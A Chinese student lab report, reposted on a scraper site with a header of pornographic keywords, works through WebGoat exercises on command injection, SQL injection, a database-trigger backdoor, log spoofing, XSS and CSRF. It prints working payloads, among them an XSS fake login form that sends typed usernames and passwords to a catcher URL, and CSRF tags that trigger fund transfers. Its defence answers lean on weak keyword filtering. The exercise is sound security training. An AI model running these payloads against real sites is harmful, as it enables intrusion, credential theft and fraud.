日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Exp9 Web安全基础

發(fā)布時間:2025/4/16 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Exp9 Web安全基础 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Exp9 Web安全基礎(chǔ)


?Injection Flaws攻擊

  • 命令注入(Command Injection)
  • 數(shù)字型SQL注入(Numeric SQL Injection)
  • 日志欺騙(Log Spoofing)
  • stage1?SQL Injection?
  • 字符串型注入(String SQL Injection)
  • 數(shù)據(jù)庫后門(Database Backdoors)
  • 數(shù)字型盲注入(Blind Numeric SQL Injection)

XSS攻擊

  • Phishing with XSS?
  • Stored XSS Attacks?
  • Reflected XSS Attacks?

CSRF攻擊

  • Cross Site Request Forgery(CSRF)
  • CSRF Prompt By-Pass

?1.實踐過程記錄

?安裝jdk和webgoat

卸載原jdk,更換jdk版本為1.8,通過java -version檢測

下載webgoat-container-7.0.1-war-exec.jar文件

使用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 進程號終止占用8080端口的進程。

在含有“webgoat-container-7.0.1-war-exec.jar”文件的目錄下執(zhí)行java -jar webgoat-container-7.0.1-war-exec.jar

在瀏覽器中輸入“http://localhost:8080/WebGoat”,進入頁面后,使用提供的用戶名密碼登錄;

?


?

Injection Flaws攻擊

1.命令注入(Command Injection)

點擊 Injection Flaws -> Command Injection

右鍵點擊復選框,選擇inspect Element。對源代碼進行修改,在"helpfile"后添加"& netstat -an & ipconfig"。

?點擊view,查看命令執(zhí)行結(jié)果

?

?

2.數(shù)字型SQL注入(Numeric SQL Injection)

點擊?Injection Flaws -> Numeric SQL Injectio

右鍵點擊復選框,選擇inspect Element。對源代碼value="101"修改,在101后面添加or 1=1。

?

?點擊Go,攻擊成功

?

3.日志欺騙(Log Spoofing)

點擊Injection Flaws -> Log Spoofing

在User Name中輸入webgoat%0d%0aLogin Succeeded for username: admin

輸入密碼后點擊Login,可以看到webgoat在Login Fail上一行,自己添加的語句在下一行,攻擊成功

?

4.?stage1?SQL Injection?

點擊Injection Flaws -> LAB stage1 :String SQL Injection

在密碼框輸入' or 1=1 --,登錄失敗,發(fā)現(xiàn)密碼輸入長度有限制。

密碼框右鍵選擇inspect Element對長度進行修改maxlength=20。

?重新輸入' or 1=1 --,攻擊成功

?

5.字符串型注入(String SQL Injection)

點擊Injection Flaws?-> String SQL Injection

輸入' or 1=1--,即插入永真式1=1,且--注釋掉后面的內(nèi)容,select表中所有數(shù)據(jù)

?

?

6.數(shù)據(jù)庫后門(Database Backdoors)

?點擊Injection Flaws -> Database Backdoors

?

?輸入101,獲得用戶信息

?

?輸入101; update employee set salary=10000

創(chuàng)建觸發(fā)器,觸發(fā)器在創(chuàng)建新用戶時,將新用戶的Email 地址設置為攻擊者的地址。?

101;CREATE TRIGGER 1BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE

employee SET email='chm@sohu.com' WHERE userid = NEW.userid

?

7.數(shù)字型盲注入(Blind Numeric SQL Injection)

點擊Injection Flaws ->Blind Numeric SQL Injection

有些SQL注入只能通過條件的“真”和“假”進行判斷,即頁面提示有效或無效。

但也可以利用系統(tǒng)后臺在用的查詢語句:SELECT * FROM user_data?WHERE userid=accountNumber;求pin值

輸入查詢語句返回了帳號的信息,頁面將提示帳號有效,否則提示無效。

輸入101 ,頁面返回Account number is valid,頁面將提示帳號有效

?

利用AND函數(shù),并上查詢條件,若條件為真,則返回結(jié)果應提示帳號有效,否則無效

輸入可以判斷PIN數(shù)值是否大于3000的語句,101 AND ((SELECT pin FROM pins

WHEREcc_number='1111222233334444') > 10000 );

如果頁面提示帳號有效,說明PIN>3000 否則 PIN<=3000

?

利用二分法,不斷嘗試最終求出PIN 的值。最終如下語句返回帳號有效:101 AND ((SELECT pin FROM pins

WHEREcc_number='1111222233334444') = 2364 );

?

?


?

XSS攻擊

1.Phishing with XSS?

?

利用xss和html注入制作一個釣魚網(wǎng)站

?

在搜索框中輸入XSS攻擊代碼,在已存在的頁面中進一步添加元素。XSS攻擊代碼如下:

</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>

在搜索框中輸入攻擊代碼后點擊搜索,出現(xiàn)要輸入用戶名密碼的表單

輸入用戶名密碼,點擊登錄,WebGoat顯示攻擊成功

?

2.Stored XSS Attacks?

創(chuàng)建非法的消息內(nèi)容,可以導致其他用戶訪問時載入非預期的頁面或內(nèi)容,

在message中輸入<script>alert("lxm attack succeed!");</script>,提交

?

?提交后,再次點擊剛剛創(chuàng)建的123帖子,成功彈出窗口,說明攻擊成功:

?

3.Reflected XSS Attacks?

?

?這個實驗和存儲型XSS實驗效果相同,但存儲型XSS攻擊代碼是存儲在服務器中,反射型XSS攻擊需要用戶自己去點擊鏈接才能觸發(fā)XSS代碼。

?

將帶有攻擊性的URL作為輸入源,輸入<script>alert("attack succeed!");</script>,點擊purchase;

?

?


?

CSRF攻擊

1.Cross Site Request Forgery(CSRF)

寫一個URL誘使其他用戶點擊,從而觸發(fā)CSRF攻擊,以圖片的的形式將URL放進Message框,當用戶點擊圖片,就會觸發(fā)CSRF。

在message框中輸入代碼<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>

Screen=325&menu=900在右側(cè)可見

提交后,消息顯示轉(zhuǎn)走用戶4000元,實現(xiàn)CSRF攻擊。

?

?

2.CSRF Prompt By-Pass

在message中寫入以下兩行攻擊代碼

<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>

<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>

構(gòu)造CSRF攻擊,包括了兩個請求,轉(zhuǎn)賬請求和確認轉(zhuǎn)賬成功請求,傳遞兩個參數(shù)給服務器

transferFunds=5000,transferFunds=CONFIRM

攻擊成功

?

?


2.回答問題

(1)SQL注入攻擊原理,如何防御

原理:通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行惡意SQL命令的目的。

如何防御:對代碼進行處理,使用正則表達式過濾傳入的參數(shù),對一些包含sql注入的關(guān)鍵字進行過濾;采用字符串過濾;jsp中調(diào)用該函數(shù)檢查是否包含非法字符。

(2)XSS攻擊的原理,如何防御

原理:代碼注入,XSS攻擊允許惡意用戶將代碼注入到網(wǎng)頁上,并能夠被瀏覽器成功的執(zhí)行,獲取目標攻擊網(wǎng)站cookie,使其他用戶受到影響。

如何防御:在表單提交或者url參數(shù)傳遞前,對需要的參數(shù)進行過濾;檢查用戶輸入的內(nèi)容中是否有非法內(nèi)容。

(3)CSRF攻擊原理,如何防御

原理:CSRF是借用用戶的身份,向web server發(fā)送請求,跨站請求偽造。

如何防御:輸入驗證碼來檢測用戶;設定cookie域。


?3.實驗總結(jié)與體會

?通過本次實驗,了解了SQL注入攻擊,XSS攻擊和CSRF的基本原理和操作。在webgoat上的簡單注入,修改代碼的練習,增加了我對三種攻擊方式的理解,

?提高了安全意識。

?

轉(zhuǎn)載于:https://www.cnblogs.com/chm666/p/10923220.html

總結(jié)

以上是生活随笔為你收集整理的Exp9 Web安全基础的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。